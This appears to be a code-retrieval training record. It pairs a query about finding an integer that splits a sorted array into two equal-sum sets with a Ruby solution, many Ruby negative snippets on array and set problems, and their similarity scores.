[ "0.7597434", "0.7441028", "0.73810947", "0.7166025", "0.7112345", "0.70828986", "0.7024592", "0.7016788", "0.6996657", "0.6988121", "0.69312656", "0.6928905", "0.6912796", "0.69104064", "0.6886367", "0.6862008", "0.6861769", "0.6852125", "0.684585", "0.6840781", "0.68401504", "0.6819278", "0.6819278", "0.6766363", "0.67621243", "0.6748522", "0.67253214", "0.67079455", "0.67045075", "0.6693978", "0.66634953", "0.6658779", "0.665709", "0.66411257", "0.66380197", "0.66282845", "0.6601422", "0.6585374", "0.6572117", "0.6570354", "0.65583944", "0.6557919", "0.6551084", "0.6545693", "0.65446436", "0.6524239", "0.64980155", "0.64971834", "0.6495211", "0.64937884", "0.64865017", "0.6479705", "0.6472727", "0.6468618", "0.64630026", "0.6449615", "0.644748", "0.64434206", "0.64420015", "0.6441762", "0.6439423", "0.64352214", "0.64333516", "0.6426864", "0.6420035", "0.641792", "0.64066213", "0.6404754", "0.6399439", "0.6398971", "0.63989246", "0.6398443", "0.63955677", "0.63890207", "0.63843936", "0.637332", "0.6371382", "0.6370337", "0.636678", "0.63635063", "0.6361725", "0.6344858", "0.6342851", "0.63340765", "0.6333305", "0.63258207", "0.6323797", "0.63156664", "0.63146335", "0.6313028", "0.63092834", "0.6301837", "0.62915766", "0.6290169", "0.62890244", "0.62872577", "0.6282973", "0.6281336", "0.6281336", "0.62738305" ]
0.77521545
0
The elements of the first set are strictly smaller than x. The elements of the second set are strictly greater than x. The sum of the elements of both the sets is equal. If such an integer exists then print Yes otherwise print No.
def divider sorted_arr, i=0, j=sorted_arr.size-1, left_sum = 0, right_sum = 0 return 'No' if j<=i right_sum += sorted_arr[j] while left_sum < right_sum left_sum += sorted_arr[i] i +=1 end if left_sum == right_sum return 'Yes' if( sorted_arr[i] == sorted_arr[j-1] || (i == j && sorted_arr[i-1]+1<sorted_arr[j])) end divider(sorted_arr, i, j-1, left_sum, right_sum) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sum_of_two?(set)\n set.any? { |x| set.include?(self-x) }\n end", "def twoArrays(n, k, a, b)\n a_sorted = a.sort\n b_sorted = b.sort.reverse\n sum_ele = []\n n.times do |i|\n sum_ele << a_sorted[i] + b_sorted[i]\n end\n if sum_ele.min >= k\n return 'YES'\n else\n return 'NO'\n end\nend", "def set_intersection set1, set2 \n\tresult \t\t\t= [];\n\tsec_index = 0 \n\tfirst_index = 0\n\n\twhile sec_index < set2.size && first_index < set1.size do \n\t\tif set1[first_index].to_i > set2[sec_index].to_i\n\t\t\tsec_index += 1\n\t\telsif set1[first_index].to_i == set2[sec_index].to_i\n\t\t\tresult << set1[first_index]\n\t\t\tfirst_index += 1\n\t\telsif set1[first_index].to_i < set2[sec_index].to_i\n\t\t\tfirst_index += 1\n\t\tend\n\tend\n\treturn result\nend", "def kangaroo(x1, v1, x2, v2)\n met = false\n while x1 < x2 && v2 < v1\n x1 = x1 + v1\n x2 = x2 + v2\n met = true if x1 == x2 \n end\n met == true ? 'YES' : 'NO'\nend", "def sumOfTwo(a, b, v)\n a.each do |s_int|\n b.each do |b_int|\n return true if s_int + b_int == v\n end\n end\n false\nend", "def amicable_numbers(n1,n2)\n divisors_sum(n1) == n2 && divisors_sum(n2) == n1\nend", "def two_sum?(arr, target)\n s1 = Set.new \n arr.each_with_index do |el, idx|\n return true if s1.include?(target-el)\n s1.add(el)\n end\n false\nend", "def bigger_two(list1, list2)\n sum = 0\n sum2 = 0\n list1.each do |i|\n sum += i # I just made the addition a little easier to read\n end\n list2.each do |n|\n sum2 += n # I just made the addition a little easier to read\n end\n if sum > sum2\n print list1\n elsif sum < sum2\n print list2\n elsif sum == sum2 # I forgot that if they were equal it had to return the first one so I added an elsif to the loop that looks to see if the sums of the two lists are equal.\n print list1\n end\nend", "def biggertwo(list1,list2)\n sum1 = 0\n sum2 = 0\n list1.each do |num|\n sum1 = sum1 + num\n end\n list2.each do |num|\n sum2 = sum2 + num\n end\n if sum1 < sum2\n return list2\n else\n return list1\n end\nend", "def discount_veryfication(arr1, arr2, nbr)\n (arr1 & arr2).flat_map { |n| [n] * [arr1.count(n), arr2.count(n)].min }.length == (arr1.length - nbr)\n end", "def getTotalX(a, b)\n factors_of_b = (a.min..b.min).select do |num|\n b.all? { |n| num.factor?(n) }\n end\n\n factors_of_b.select { |num| a.all? { |n| n.factor?(num) } }.length\nend", "def same_set?(a, b)\n ((a - b) + (b - a)).blank?\n end", "def getTotalX(a, b)\n a.each_with_object([]) do |a0, res|\n b.each do |b0|\n res << b0 unless a0 == b0 || b0 % a0 != 0 \n end\n end.uniq.count\nend", "def getTotalX(a, b)\n (a[-1]..b[0]).to_a.reject do |cand|\n first_issue = a.detect { |elem| !(cand % elem).zero? }\n second_issue = first_issue ? false : b.detect { |elem| !(elem % cand).zero? }\n\n second_issue.nil? ? false : true\n end.count\nend", "def intersection(nums1, nums2)\n unique = {}\n res = []\n nums1.each do |num|\n if !(unique[num])\n unique[num] = true\n end\n end\n \n nums2.each do |num|\n if unique[num] && !(res.include?(num))\n res.push(num)\n end\n end\n \n res\n end", "def find_pair_to_sum(x)\n prep_sorted_lists # To prepared two sorted lists\n node1 = list1.head\n node2 = nil\n flag = false\n break_node = list2.end # Set the break node as end of secondlist\n while(node1.value < x && node1 != nil && flag == false)\n node2 = list2.head\n while(node2.value <= break_node.value && node2.value <= x-node1.value)\n if (node2.value + node1.value == x)\n flag = true\n break\n end\n break if node2.value + node1.value > x # All the following elements in List2 will be greater than sum anyways\n node2 = node2.next\n end\n break_node = node2 # Set the break point as this node for next iteration\n node1 = node1.next unless flag == true\n end\n if flag == true\n puts \"Pair to match sum as #{x} is Node1: #{node1.value} and Node2: #{node2.value}\"\n else\n puts \"Pair not found\"\n end\n end", "def getTotalX(a, b)\n is_factor = -> (n1, n2){n1 % n2 == 0}\n\n max = [a.max, b.max].max\n\n ns_between = (1..max).each.select{ |i|\n a.all?{|_a| is_factor.(i, _a)} && b.all?{|_b| is_factor.(_b, i)}\n }\n\n return ns_between.length\nend", "def two_sums?(arr, target)\n # number_count = Hash.new(0)\n #\n # arr.each do |num|\n # number_count[num] += 1\n # end\n #\n # arr.each do |num|\n # other_num = target - num\n # number_count[num] -= 1\n # return true if number_count.include?(other_num) && number_count[other_num] > 0\n # end\n #\n # false\n set = Set.new(arr)\n arr.each do |num|\n set.delete(num)\n return true if set.include?(target - num)\n end\n false\nend", "def bigger_two(ls1,ls2)\n first = 0\n second = 1\n sum1 = ls1[first] + ls1[second]\n sum2 = ls2[first] + ls2[second]\n if sum1 >= sum2\n return ls1\n end\n return ls2\nend", "def compareTriplets(a, b)\n result = [0, 0]\n a.zip(b)\n .each {|first, second|result[((first > second) ? 0 : 1)] += 1 if first != second }\n result\nend", "def compare_triplets(a,b)\n scores = [0,0]\n a.each_with_index do |val, index|\n case val <=> b[index]\n when 1\n scores[0] += 1\n when -1\n scores[1] += 1\n end\n end\n scores\n end", "def kangaroo(x1, v1, x2, v2)\n x1_behind = (x1 < x2)\n # Check if kangaroos will never meet\n if !x1_behind && (v1 >= v2)\n print 'NO'\n return 'NO'\n end\n if x1_behind && (v2 >= v1)\n print 'NO'\n return 'NO'\n end\n\n loop do\n x1 += v1\n x2 += v2\n if x1 == x2\n print 'YES'\n return 'YES'\n end\n if x1_behind\n if x1 > x2\n print 'NO'\n return 'NO'\n end\n elsif x2 > x1\n print 'NO'\n return 'NO'\n end\n\n end\nend", "def compareTriplets(a, b)\n alice_points = 0\n bob_points = 0\n\n a.zip(b).each do |a_val, b_val|\n if a_val > b_val\n alice_points += 1\n elsif a_val < b_val\n bob_points += 1\n end\n end\n puts \"#{alice_points} #{bob_points}\"\n [alice_points, bob_points]\nend", "def okay_two_sum?(arr, target)\n arr.sort!\n\n arr.select! { |el| el < target }\n\n arr.each { |el| arr.include?(target - el) ? (return true) : next }\n false\nend", "def edges_between(set_a, set_b)\n count = 0\n set_a.each do |a|\n set_b.each do |b|\n count += 1 if @edges[edge_key(a,b)]\n end\n end\n return count\n end", "def intersection(nums1, nums2)\n hsh = {}\n result = []\n\n nums1.each do |num|\n hsh[num] = true\n end\n\n nums2.each do |num|\n if hsh[num]\n result.push(num) \n hsh[num] = false\n end\n end\n\n result\nend", "def compareTriplets(a, b)\n a_points = 0\n b_points = 0\n x = 0\n while x < a.length\n if a[x] != b[x]\n a[x] > b[x] ? a_points += 1 : b_points += 1\n end\n x += 1\n end\n return [a_points, b_points]\nend", "def intersection(nums1, nums2)\n present = Hash.new\n intersection_array = []\n\n nums1.each do |num|\n present[num] = 1\n end\n\n nums2.each do |num|\n if present[num]\n present.delete(num)\n intersection_array << num\n end\n end\n\n intersection_array\nend", "def two_sum?(arr, target_sum)\n debugger\n complements = {}\n\n arr.each do |el|\n return true if complements[target_sum - el]\n complements[el] = true\n end\n\n false\nend", "def amicable?(num1, num2)\n\tnum1 != num2 && proper_divisors(num1).inject(:+) == num2 && proper_divisors(num2).inject(:+) == num1\nend", "def areEquallyStrong(yourLeft, yourRight, friendsLeft, friendsRight)\n [yourLeft,yourRight].sort == [friendsLeft,friendsRight].sort\nend", "def promedio(visitas_mes1 ,visitas_mes2)\n promedio_mes1 = visitas_mes1.sum / visitas_mes1.count\n\n promedio_mes2 =visitas_mes2.sum / visitas_mes2.count\n\n puts promedio_mes1\n puts promedio_mes2\n\n\n if promedio_mes1 > promedio_mes2\n puts promedio_mes1\n return promedio_mes1\n else\n puts promedio_mes2\n return promedio_mes2\n end\n\nend", "def two_pid_x_base_different(pid1=\"\",pid2=\"\", x=0)\n l = pid1.size\n m = l - x\n n = 0\n if pid1.size != pid2.size\n return false\n else\n (0..(pid1.size - 1)).each do |k|\n if pid1[k] == pid2[k]\n n += 1\n end\n end\n if n >= m\n return true\n else\n return false\n end\n end\nend", "def sumOfTwo(a, b, v)\n\n # create a hash that will store key-value pairs of array b\n h = {}\n\n # iterate over b and store a key, which is the number\n # and store the value, which is the number of occurences\n b.each do |num|\n if h[num]\n h[num] += 1\n else\n h[num] = 1\n end\n end\n\n # iterate over a and for each number in a\n # if the hash contains the v minus num (which is equivalent to adding num + hash[v-num] = v)\n # then return true\n a.each do |num|\n if h[v - num]\n return true\n end\n end\n\n # if this point is reached, there was no matching pairs\n # return false\n return false\n\nend", "def intersect2(nums1, nums2)\n counts1 = num_counts(nums1)\n counts2 = num_counts(nums2)\n\n intersection = []\n counts1.each do |k, v|\n if counts2.key?(k)\n times = [v, counts2[k]].min\n intersection.concat([k] * times)\n end\n end\n intersection\nend", "def solution(a, b)\n a.size > b.size ? b+a+b : a+b+a\nend", "def score_check(t1, t2)\n if t1 > t2\n result = 1\n elsif t2 > t1\n result = 2\n else\n result = 0\n end\n\n return result\n end", "def test_two(arr_a,arr_b)\n a_min = arr_a[0]\n a_max =arr_a[0]\n arr_a.each do |num|\n a_min = num if num < a_min \n a_max = num if num > a_max\n end\n\n b_min = arr_b[0]\n b_max =arr_b[0]\n arr_b.each do |num|\n b_min = num if num < a_min \n b_max = num if num > a_max\n end\n\n min = a_min > b_min ? a_min : b_min\n max = a_max < b_max ? a_max : b_max\nend", "def bigger_two(list, list1)\n total = 0\n total1 = 0\n list.each do |x|\n total = x + total\n end\n list1.each do |x|\n total1 = x + total1\n end\n # printing the list\n if total > total1\n return list\n end\n if total < total1\n return list1\n end\n if total == total1\n return list\n end\nend", "def better_sum?(arr, target)\n pair_set = Set.new\n\n arr.each do |ele|\n if pair_set.include?(ele)\n return true\n else\n pair_set << target - ele\n end\n end\n\n false\n\nend", "def test(arr_a,arr_b)\n arr = []\n arr_a.each do |num|\n arr_b.each do |num_two|\n if num == num_two\n arr << num\n end \n end\n end\n arr\nend", "def ==(other)\n if other.instance_of?(self.class)\n @val == other.to_i\n elsif other.is_a?(Set) && size == other.size\n other.all? { |o| include?(o) }\n else\n false\n end\n end", "def compareTriplets(a, b)\n array_a = a\n array_b = b\n results = [0,0]\n array_a.collect.with_index do |value, index|\n if value > array_b[index]\n results[0] += 1\n elsif value < array_b[index]\n results[1] += 1\n end\n end\n return results\nend", "def conflicts(s1,e1,s2,e2)\n if s1<=s2 and e1>s2\n return true\n elsif s1<e2 and s1>s2\n return true\n end\n return false\n end", "def equals(xs, ys)\n a = Array(xs)\n b = Array(ys)\n\n ((a | b) - (a & b)).empty?\n end", "def find_intersection(a1, a2)\n a1_hash = {}\n \n a1.each do |num|\n if a1_hash[num]\n a1_hash[num] +=1\n else\n a1_hash[num] = 1\n end\n end\n \n intersection = []\n \n a2.each do |num|\n if a1_hash[num] && a1_hash[num] > 0\n a1_hash[num] -= 1\n intersection << num\n end\n end\n \n return intersection\nend", "def problem_106\n a = [1,2,3,4]\n a = [1,2,3,4,5,6,7]\n a = [1,2,3,4,5,6,7,8,9,10,11,12] \n \n num = 0\n seen = {}\n # Don't do length of 1, they are ordered\n # Because they are size ordered, and 2 smalls are bigger than a large\n 2.upto(a.length/2) do |n|\n puts \"n = #{n}\"\n a.combination(n) do |set_a|\n b = a - set_a\n break if b.length < n\n b.combination(n) do |set_b|\n key = [set_a,set_b].sort\n next if seen[key]\n seen[key] = true\n index = 0\n state = 0\n 0.upto(set_a.length-1) do |i|\n break unless set_b[i] && set_a[i]\n if set_a[i] < set_b[i]\n state -= 1\n else\n state += 1\n end\n end\n\n# print \"#{set_a.inspect} #{set_b.inspect} #{state}\"\n if state.abs <= (set_a.length - 2) ||\n (state < 0 && set_a.last > set_b.last) ||\n (state > 0 && set_a.first < set_b.first)\n# puts \" good\"\n num += 1\n else\n# puts \"\"\n end\n end\n end\n end\n num\nend", "def better_sum1(arr, target) # this one is going to return true or false\n pairs = Set.new\n\n arr.each do |ele|\n if pairs.include?(ele)\n return true\n else\n pairs << target - ele\n end\n end\n false\nend", "def include?(other)\n set_indexes.sort & other.set_indexes.sort == other.set_indexes.sort\n end", "def bigger_two(list1, list2)\n count = 0\n count2 = 0\n list1.size.times do |n|\n count = list1[n] + count\n end\n list2.size.times do |n|\n count2 = list2[n] + count2\n end\n if count >= count2\n return list1\n elsif count2 > count\n return list2\n else\n return false\n end\nend", "def check_pair(arr,x)\n len=arr.length\n arr.sort! # You can choose your own sorting algorithm\n left=0\n right=len-1\n while left<right\n if (arr[left]+arr[right]==x)\n return \"Array has two elements with sum:#{x}\"\n elsif (arr[left]+arr[right]>x)\n right-=1\n else\n left+=1\n end\n end\n return \"Array doesn't have two elements with sum:#{x}\"\nend", "def two_sum(integers, target) \n checked = {}\n integers.each.with_index do |num, idx|\n diff = target - num\n checked[diff] ? (return true) : (checked[num] = idx)\n end\n false\nend", "def intersection(array1, array2)\n intersection = []\n return intersection if !array1 || !array2\n if array1.length < array2.length\n smaller = array1\n larger = array2\n else\n smaller = array2\n larger = array1\n end\n\n my_hash = {}\n smaller.each do |num|\n my_hash[num] = 1\n end\n\n larger.each do |num|\n intersection << num if my_hash.include?(num)\n end\n return intersection\nend", "def difference_of_sets(set1, set2)\n i = 0\n j = 0\n result = Array.new\n # Iterate through the list, not adding elements to the result if they are also found in the second list\n while i < set1.length && j < set2.length\n test = compare_movies(set1[i], set2[j])\n if test == 0\n i += 1\n j += 1\n elsif test == -1\n result << set1[i]\n i += 1\n else\n j += 1\n end\n end\n while i < set1.length\n result << set1[i]\n i += 1\n end\n # Return the result\n result\nend", "def compareTriplets(a, b)\n i = 0\n score = [0, 0]\n \n while i < a.size\n \n if a[i] > b[i]\n score[0] += 1\n elsif\n a[i] < b[i]\n score[1] += 1\n end\n i += 1\n end\n score\nend", "def same_bsts(array_one, array_two)\n return false if array_one.length != array_two.length\n\n return true if array_one.empty? && array_two.empty?\n\n return false if array_one[0] != array_two[0]\n\n left_one = get_smaller(array_one)\n left_two = get_smaller(array_two)\n right_one = get_bigger_or_equal(array_one)\n right_two = get_bigger_or_equal(array_two)\n\n return same_bsts(left_one, left_two)\n return same_bsts(right_one, right_two)\nend", "def comp(array1, array2)\n return false if (array1+array2).any? {|x| x == nil }\n array1.delete(nil)\n squares = array1.map { |num| num*num }\n squares.uniq.sort == array2.uniq.sort\nend", "def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n end\n\n if array1 == nil || array2 == nil\n return false\n end\n\n if array1.length != array2.length\n return false\n end\n\nmatching_elem = Hash.new\n\ni = 0\nwhile i < array1.length\n elem = array1[i]\n if matching_elem[elem]\n matching_elem[elem] += 1\n else\n matching_elem[elem] = 1\n end\n i += 1\nend\n\ni = 0\nwhile i < array2.length\n elem = array2[i]\n if matching_elem[elem]\n matching_elem[elem] -= 1\n elsif matching_elem[elem] && matching_elem[elem] < 0\n return false\n else\n return false\n end\n i += 1\nend\n\nreturn true\n# x = \"\"\n# same_count =\n# same_elements =\n# elements_match = 0\n# first_array_counter = 0\n# second_array_counter = 0\n#\n# array1.each_index do |i|\n# i += 1\n# first_array_counter += i\n# end\n# print first_array_counter\n#\n# array2.each_index do |i|\n# i += 1\n# second_array_counter += i\n# end\n# print second_array_counter\n#\n# # list_one = array1.size\n# # list_two = array2.size\n#\n# if first_array_counter == second_array_counter\n# same_count = true\n# elsif array1 == nil && array2 == nil\n# same_elements = true\n# elsif array1 == nil && array2 != nil\n# same_elements = false\n# elsif array2 == nil && array1 != nil\n# same_elements = false\n# else\n# same_count = false\n# end\n#\n# if same_count == true\n# first_array_counter.times do |i|\n# if array1[i] == array2[i]\n# elements_match += 1\n# end\n# end\n# end\n#\n# if elements_match == (first_array_counter) && elements_match == (second_array_counter)\n# same_elements = true\n# end\n#\n# if same_count == same_elements\n# x = true\n# else\n# x = false\n# end\n#\n# return x\nend", "def bigger_two(list_1, list_2)\n sum_1 = list_1[0].to_i + list_1[1].to_i\n sum_2 = list_2[0].to_i + list_2[1].to_i\n if sum_1 >= sum_2 # Took out the bottom one and replaced with an equals up here to condense code\n return list_1\n elsif sum_2 > sum_1\n return list_2\n end\nend", "def find_restaurant(list1, list2)\n hash1 = {}\n least_idx_sum = nil\n output = []\n \n list1.each_with_index do |el, idx|\n hash1[el] = idx\n end\n \n list2.each_with_index do |el, idx|\n if hash1[el]\n sum = idx + hash1[el]\n if least_idx_sum.nil?\n least_idx_sum = sum\n output << el\n elsif sum < least_idx_sum\n least_idx_sum = sum\n output = []\n output << el\n elsif sum == least_idx_sum\n output << el\n end\n end\n end\n output\nend", "def union(setone,settwo) \n #Find the number of elements , make root of the Tree with fewer nodes point to root of the tree with large node\n first=find(setone)\n second=find(settwo)\n\n if first.instance_of?(String) || second.instance_of?(String) then\n puts 'One of the Input is not a valid set'\n return\n end\n \n if first[1]>=second[1] then\n @store[settwo]=setone #settwo has more elements\n @store[first[0]]=second[1]+first[1]\n else\n @store[setone]=settwo\n @store[first[0]]=first[1]+second[1]\n end\n end", "def bigger_two(list1, list2) # given 2 lists of length 2, return the list with the bigger sum. If tie, return list1\n list1_sum = list1[0] + list1[1]\n list2_sum = list2[0] + list2[1]\n if list2_sum > list1_sum\n return list2\n end\n return list1\nend", "def intersection(array1, array2)\n if array1 == nil || array2 == nil || array1.length == 0 || array2.length == 0\n return []\n elsif array1.length < array2.length\n larger = array2\n smaller = array1\n elsif array1.length >= array2.length\n larger = array1\n smaller = array2\n end\n\n hash_table = {}\n smaller.each do |num|\n hash_table[num] = 1\n end\n\n combined = []\n larger.each do |num|\n if hash_table.include? num\n combined << num\n end\n end\n return combined\nend", "def combine(a, b)\n #Do NOT call .sort\n #no .min, use .first\n # create a results array\n result_array = []\n # counters pointing to the index of the smallest elements in each array\n # check that we have elements to compare\n #return false if a.length != b.length\n until a.empty? || b.empty?\n\n a_min_index = a.first\n b_min_index = b.first\n\n if a_min_index < b_min_index\n result_array << a.shift\n\n else\n result_array << b.shift\n end\n\n # push the smaller element onto the result array\n end\n\n result_array += a if b.empty?\n result_array += b if a.empty?\n\n #if one array has more number than the other, i'll need to comtinue comparing those elements within the array\n return result_array\n # if there are elements left over in a, move them to result\n # if there are elements left over in b, move them to result\nend", "def using_hash(arr1, arr2)\n sum1 = 0; sum2 = 0\n for i in 0...arr1.length\n sum1 += arr1[i]\n end\n \n for i in 0...arr2.length\n sum2 += arr2[i]\n end \n\n # return if not integer \n return false if (sum1 - sum2) % 2 == 0\n\n diff = (sum1 - sum2).abs / 2\n\n hsh = {}\n \n for i in 0...arr2.length\n hsh[arr2[i]] = true\n end\n\n for i in 0...arr1.length\n if hsh[diff + arr1[i]] == true\n return true\n end \n end \n\n return false\n\nend", "def compare(x, y); end", "def intersect?(set)\n return (@val & set.to_i) > 0 if set.is_a?(IntegerSet)\n set.is_a?(Set) or raise ArgumentError, \"value must be a set\"\n if size < set.size\n any? { |o| set.include?(o) }\n else\n set.any? { |o| include?(o) }\n end\n end", "def include?(x)\n inf <= x && x <= sup\n end", "def okay_two_sum?(arr, target)\n sorted = arr.sort\n\n lowest = 0\n highest = arr.length - 1\n\n while lowest != highest\n return true if sorted[lowest] + sorted[highest] == target\n if sorted[lowest] + sorted[highest] > target \n highest -= 1\n elsif sorted[lowest] + sorted[highest] < target\n lowest += 1 \n end \n end \n false\nend", "def missing_nums(a,b)\n ahash = {}\n bhash = {}\n while i < a.size do\n if ahash.has_key?(a[i]) then\n ahash[a[i]] += 1\n else\n ahash[a[i]] = 1\n end\n if bhash.has_key?(b[i]) then\n bhash[b[i]] += 1\n else\n bhash[b[i]] = 1\n end\n i += 1\n end\n while i < b.size do\n if bhash.has_key?(b[i]) then\n bhash[b[i]] += 1\n else\n bhash[b[i]] = 1\n end\n i += 1\n end\n result = []\n bhash.keys.each do |key|\n result.push(key) if (!ahash.has_key?(key) || bhash[key] > ahash[key])\n end\n result.sort\nend", "def discrepancy(a, b)\n\tcase\n\t\twhen a.empty? then b.length\n\t\twhen b.empty? then a.length\n\t\telse [(a[0] == b[0] ? 0 : 1) + discrepancy(a[1..-1], b[1..-1]),\n\t\t\t\t1 + discrepancy(a[1..-1], b),\n\t\t\t\t1 + discrepancy(a, b[1..-1])].min\n\tend\nend", "def intersection(list1, list2)\n return nil if list1 == nil || list2 == nil\n\n # Each integer is a key in a hash with value 'true'\n hash = {}\n list1.each do |element|\n hash[element] = true\n end\n\n # Check if an integer from the second list is already in a hash\n result = []\n list2.each do |number|\n if hash[number]\n result << number\n end\n end\n\n return result\nend", "def intersect nums1, nums2\n result = []\n return result if nums1.size == 0 or nums2.size == 0\n\n counter_cache = {}\n counter_cache = nums1.inject({}) { |result, n|\n result[n] ||= 0\n result[n] += 1\n result\n }\n\n nums2.each do |n|\n if counter_cache[n] and counter_cache[n] > 0\n result << n\n counter_cache[n] -= 1\n end\n end\n result\nend", "def intersection(nums1, nums2)\n nums1 & nums2\n end", "def compareTriplets(a, b)\n\n score = [0, 0]\n\n i = 0\n a.map do |num|\n if a[i] > b[i]\n score[0] += 1\n elsif a[i] < b[i]\n score[1] += 1\n end\n i += 1\n end\n return score\nend", "def intersection(set1, set2)\r\n\t# set1 and set2 are arrays\r\n\t# return the intersection\r\nend", "def two_sum(arr) #o(ns)\n set = Set.new\n arr.each{|el| set << el}\n arr.select{|el| set.include?(-1 * el)}\nend", "def getTotalX(a,b)\n least_common_multiple = a.reduce(:lcm)\n greatest_common_factor = b.reduce(:gcd)\n counter = 0\n\n (least_common_multiple..greatest_common_factor).each do |num|\n if num % least_common_multiple == 0 && greatest_common_factor % num == 0\n counter += 1\n end\n end\n\n return counter\nend", "def deuce?\n score1 == score2 &&\n score1 >= deuce_minimum &&\n score2 >= deuce_minimum\n end", "def combine(a, b)\n\t# create a results array\n\t\n\t# counters pointing to the index of the smallest elements in each array\n\n\t# check that we have elements to compare\n\t\t# push the smaller element onto the result array\n\n\t# if there are elements left over in a, move them to result\n\t# if there are elements left over in b, move them to result\n\nend", "def availability_match(t1, t2)\n (t1.to_i & t2.to_i).to_s(2).count('1')\n end", "def compare(left, right)\n left_right = left.to_s + right.to_s\n right_left = right.to_s + left.to_s\n left_right.to_i > right_left.to_i\nend", "def two_sum?(array, target_sum)\n checked = {}\n\n array.each_with_index do |ele, i|\n return true if checked[target_sum - ele]\n checked[ele] = i\n end\n false\n\nend", "def test_disjoint\n x = IntegerRange.new(1, 2)\n y = IntegerRange.new(4, 5)\n\n assert_equal(x.mergeable?(y), false)\n assert_equal(y.mergeable?(x), false)\n end", "def okay_two_sum?(arr, target)\n arr.sort!\n pairs = arr.combination(2)\n pairs.any? { |pair| pair.sum == target }\nend", "def apples_and_oranges(s, t, a, b, apples, oranges)\n n_apples = 0\n n_oranges = 0\n\n apples.each do |apple| \n if apple + a >= s && apple + a <= t\n n_apples += 1 \n end\n end \n\n oranges.each do |orange| \n if orange + b <= t && orange + b >= s\n n_oranges += 1 \n end\n end\n \n puts n_apples\n puts n_oranges\nend", "def check!\n error = proc { | message | raise ArgumentError.new( message ) }\n set1_keys = set1.keys\n set2_keys = set2.keys\n set1_size = set1.size\n set2_size = set2.size\n\n # Check set1\n set1.each do | target , options |\n message = \"Preferences for #{ target.inspect } in `set1` do not match availabilities in `set2`!\"\n options = options.first if options.first.is_a?( Array )\n error[ message ] unless \\\n # Anything there is a preference for is in the other set\n ( options.all? { | preference | set2_keys.include?( preference ) } )\n end\n\n # Check set2 the same way\n set2.each do | target , options |\n message = \"Preferences for #{ target.inspect } in `set2` do not match availabilities in `set1`!\"\n options = options.first if options.first.is_a?( Array )\n error[ message ] unless \\\n # Anything there is a preference for is in the other set\n ( options.all? { | preference | set1_keys.include?( preference ) } )\n end\n\n # We've run the check\n self.checked = true\n end", "def compare(one, other)\n other_rem = other.remaining_same_calls\n one_rem = one.remaining_same_calls\n if one_rem == other_rem\n # Note: the line below is correctly reversing the operands\n # This is done to have the larger period ordered before the\n # shorter ones when the remaining hits are the same.\n other.period.granularity <=> one.period.granularity\n elsif other_rem == -1 || one_rem < other_rem\n -1\n else\n 1\n end\n end", "def test_overlaping\n x = IntegerRange.new(1, 5)\n y = IntegerRange.new(3, 10)\n\n assert_equal(x.mergeable?(y), true)\n assert_equal(y.mergeable?(x), true)\n end", "def same_bsts(array_one, array_two)\n return are_same_bsts(array_one, array_two, 0, 0, Float::INFINITY, -Float::INFINITY)\nend", "def countApplesAndOranges(s, t, a, b, apples, oranges)\n result_a = 0\n apples.each do |d|\n cord = a + d\n if s <= cord && cord <= t\n result_a += 1\n end\n end\n puts result_a\n\n result_o = 0\n oranges.each do |d|\n cord = b + d\n if s <= cord && cord <= t\n result_o += 1\n end\n end\n puts result_o\nend", "def okay_two_sum?(arr, target)\n arr.sort!\n\n lhs = 0\n rhs = arr.length - 1 \n\n while lhs < rhs\n total = arr[lhs] + arr[rhs]\n if total > target\n rhs -= 1\n elsif total < target\n lhs += 1\n elsif total == target\n return true\n end\n\n end\n\n return false\nend", "def intersect(nums1, nums2)\n nums1.sort!\n nums2.sort!\n\n pointer_1 = 0\n pointer_2 = 0\n\n intersection = []\n while pointer_1 < nums1.length && pointer_2 < nums2.length\n selected = nums1[pointer_1]\n while pointer_2 < nums2.length && nums2[pointer_2] < selected\n pointer_2 += 1\n end\n\n if pointer_2 >= nums2.length\n return intersection\n end\n\n count = 0\n while nums1[pointer_1] && nums2[pointer_2] && nums1[pointer_1] == nums2[pointer_2]\n count += 1\n pointer_1 += 1\n pointer_2 += 1\n end\n\n intersection += [selected] * count\n\n while nums1[pointer_1] && nums1[pointer_1] == selected\n pointer_1 += 1\n end\n end\n\n intersection\nend", "def two_sum? sum\n dict = Hash.new(false)\n self.each do |el|\n return [sum-el, el] if dict[el]\n dict[sum-el] = true\n end\n false\n end", "def twins(a, b)\n results = []\n a.size.times do |i|\n results[i] = is_twin?(a[i], b[i]) ? \"Yes\" : \"No\"\n end\n results\nend", "def okay_two_sum?(arr, target)\n small = arr.select {|el| el < target}\n small.each_with_index do |e, i|\n sub_el = target - e \n # arr.delete(sub_el)\n return true if small.include?(sub_el) && small[i] != sub_el\n \n end\n false \n \n \nend", "def okay_two_sum?(arr, target_sum)\n arr.sort!\n arr.each do |el|\n return true if arr.bsearch { |x| x >= (target_sum - el)}\n end\n false\nend", "def bad_two_sum?(array, target)\n array.each.with_index do |el1, idx1|\n array.each.with_index do |el2, idx2|\n if el1 + el2 == target && idx2 > idx1\n return true \n end\n end\n end\n false \nend", "def find_complements1(numbers, target_sum: 2020)\n complements = numbers.map { |n| [n, target_sum - n] }.to_h\n complements.find { |_n, c| complements.key?(c) }\nend", "def merged(first, second)\n result = []\n\n while first.size > 0 && second.size > 0 do\n if first.first <= second.first\n samllest_number = first.shift\n else\n smallest_number = second.shift\n end\n result << smallest_number\n end\n\n return result.concat(first).concat(second)\nend", "def subset?(other_set)\n other_set.set.all? { |element| include?(element) }\n end" ]
[ "0.69001323", "0.6606822", "0.65256405", "0.640583", "0.61512184", "0.6131378", "0.6119854", "0.6109189", "0.6100239", "0.60931826", "0.6085886", "0.6070099", "0.60471666", "0.6041455", "0.6023747", "0.6013874", "0.6007071", "0.5973631", "0.5931144", "0.5904315", "0.5879873", "0.5846665", "0.58292425", "0.5814034", "0.5789048", "0.5782233", "0.577215", "0.5768769", "0.57342553", "0.5727139", "0.5725415", "0.57238036", "0.57127106", "0.57084835", "0.57028687", "0.56967753", "0.56698585", "0.5667136", "0.5662631", "0.5657263", "0.56276214", "0.56222147", "0.5619157", "0.5618813", "0.5618147", "0.5617379", "0.55864525", "0.5577581", "0.55768853", "0.5573152", "0.5557678", "0.5555385", "0.55373734", "0.5536831", "0.5535664", "0.55329096", "0.55276984", "0.55184835", "0.5515516", "0.54920244", "0.548877", "0.54781955", "0.5477132", "0.54767615", "0.5475141", "0.5473917", "0.547271", "0.54653764", "0.54641896", "0.5462829", "0.5462741", "0.54594404", "0.544733", "0.5446467", "0.54445916", "0.54419404", "0.5437506", "0.54335433", "0.54309356", 